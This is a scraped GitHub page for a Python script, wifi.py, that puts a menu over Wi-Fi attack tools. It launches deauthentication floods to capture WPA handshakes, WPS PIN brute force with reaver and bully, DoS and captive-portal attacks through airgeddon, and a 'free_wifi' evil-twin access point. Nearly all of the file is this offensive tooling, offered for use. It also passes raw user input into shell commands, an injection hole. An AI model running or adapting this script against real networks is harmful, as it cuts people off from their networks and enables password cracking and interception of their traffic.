forked from sarathk73/SentinelEye-NetSecChallenger
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwifi.py
162 lines (155 loc) · 7.63 KB
/
wifi.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
#!/usr/bin/env python3
import os
import subprocess
from subprocess import check_call
print("\nInstalling Needed Tools")
print("\n")
cmd0 = os.system("apt-get install aircrack-ng crunch xterm wordlists reaver pixiewps bully xterm wifite bettercap wifipumpkin3")
cmd = os.system("sleep 3 && clear")
def intro():
cmd = os.system("clear")
print("""\033[1;25m
▄████████ ▄████████ ███▄▄▄▄ ███ ▄█ ███▄▄▄▄ ▄████████ ▄█ ▄████████ ▄██ ▄ ▄████████
███ ███ ███ ███ ███▀▀▀██▄ ▀█████████▄ ███ ███▀▀▀██▄ ███ ███ ███ ███ ███ ███ ██▄ ███ ███
███ █▀ ███ █▀ ███ ███ ▀███▀▀██ ███▌ ███ ███ ███ █▀ ███ ███ █▀ ███▄▄▄███ ███ █▀
███ ▄███▄▄▄ ███ ███ ███ ▀ ███▌ ███ ███ ▄███▄▄▄ ███ ▄███▄▄▄ ▀▀▀▀▀▀███ ▄███▄▄▄
▀███████████ ▀▀███▀▀▀ ███ ███ ███ ███▌ ███ ███ ▀▀███▀▀▀ ███ ▀▀███▀▀▀ ▄██ ███ ▀▀███▀▀▀
███ ███ █▄ ███ ███ ███ ███ ███ ███ ███ █▄ ███ ███ █▄ ███ ███ ███ █▄
▄█ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███▌ ▄ ███ ███ ███ ███ ███ ███
▄████████▀ ██████████ ▀█ █▀ ▄████▀ █▀ ▀█ █▀ ██████████ █████▄▄██ ██████████ ▀█████▀ ██████████
▀
Authors : AKASH|ASWIN|SUDEV|SARATH
-------------------------------------------------------------------------
(1)Start monitor mode
(2)Stop monitor mode
(3)Scan Networks
(4)Getting Handshake(monitor mode needed)
(5)WPS Networks attacks (Bssid,monitor mode needed)
(6)Scan for WPS Networks
(7)DOS Attacks
(8)Captive Portal
(9)Evil Twin
(10)Advanced Monitoring
(0)About Our Team
(00)Exit
----------------------------------------------------------------------- """)
print("\nEnter your choise here : !# ")
var = int(input(""))
if var == 1 :
print("\nEnter the interface:(Default(wlan0/wlan1))")
interface = input("")
order = "airmon-ng start {} && airmon-ng check kill".format(interface)
geny = os.system(order)
intro()
elif var == 2 :
print("\nEnter the interface:(Default(wlan0mon/wlan1mon))")
interface = input("")
order = "airmon-ng stop {} && service network-manager restart".format(interface)
geny = os.system(order)
intro()
elif var == 3 :
print("\nEnter the interface:(Default >> (wlan0mon/wlan1mon))")
interface = input("")
order = "airodump-ng {} -M".format(interface)
print("When Done Press CTRL+c")
cmd = os.system("sleep 3")
geny = os.system(order)
cmd = os.system("sleep 10")
intro()
elif var == 4 :
print("\nEnter the interface:(Default >>(wlan0mon/wlan1mon))")
interface = input("")
order = "airodump-ng {} -M".format(interface)
print("\nWhen Done Press CTRL+c")
print("\nNote: Under Probe it might be Passwords So copy them to the worlist file")
print("\nDon't Attack The Network if its Data is ZERO (you waste your time)")
print("\nyou Can use 's' to arrange networks")
cmd = os.system("sleep 7")
geny = os.system(order)
print("\nEnter the bssid of the target?")
bssid = str(input(""))
print("\nEnter the channel of the network?")
channel = int(input())
print("Enter the path of the output file ?")
path = str(input(""))
print("\nEnter the number of the packets [1-10000] ( 0 for unlimited number)")
print("the number of the packets Depends on the Distance Between you and the network")
dist = int(input(""))
order = "airodump-ng {} --bssid {} -c {} -w {} | xterm -e aireplay-ng -0 {} -a {} {}".format(interface,bssid,channel,path,dist,bssid,interface)
geny = os.system(order)
intro()
elif var == 0 :
cmd = os.system("clear")
print("""
Hi.
This is Our Team
""")
quit()
elif var == 00:
exit()
elif var == 5:
cmd = os.system("clear")
print("""
1)Reaver
2)Bully
3)wifite (Recommeneded)
4)PixieWps
5)wp3
0) Back to Main Menu
""")
print("Choose the kind of the attack(External WIFI Adapter Require) ?")
attack = int(input(""))
if attack == 1:
print("\nEnter the interface to start ?(Default(Wlan0mon/Wlan1mon))")
interface = str(input(""))
print("\nEnter the bssid of the network ?")
bssid = str(input(""))
order = ("reaver -i {} -b {} -vv").format(interface,bssid)
geny = os.system(order)
intro()
elif attack == 2:
print("\nEnter the interface to start ?(Default(Wlan0mon/Wlan1mon)")
interface = str(input(""))
print("\nEnter the bssid of the network ?")
bssid = str(input(""))
print("\nEnter the channel of the network ?")
channel = int(input(""))
order = ("bully -b {} -c {} --pixiewps {}").format(bssid,channel,interface)
geny = os.system(order)
intro()
elif attack == 3:
cmd = os.system("wifite")
intro()
elif attack == 4:
print("\nEnter the interface to start ?(Default(Wlan0mon/Wlan1mon)")
interface = str(input(""))
print("\nEnter the bssid of the network ?")
bssid = str(input(""))
order = ("reaver -i {} -b {} -K").format(interface,bssid)
geny = os.system(order)
elif attack == 0 :
intro()
elif var == 6:
print("\nEnter the interface to start ?(Default(Wlan0mon/Wlan1mon)")
interface = str(input(""))
order = "airodump-ng -M --wps {}".format(interface)
geny = os.system(order)
cmd = os.system("sleep 5 ")
intro()
elif var == 7:
cmd = os.system("airgeddon")
intro()
elif var == 8:
cmd = os.system("airgeddon")
intro()
elif var == 9:
cmd = os.system("berate_ap --mana wlan0 eth0 free_wifi")
intro()
elif var == 10:
cmd = os.system("angryoxide -i wlan0 --nodeauth --notransmit")
intro()
else:
print("Not Found")
cmd = os.system("sleep 2")
intro()
intro()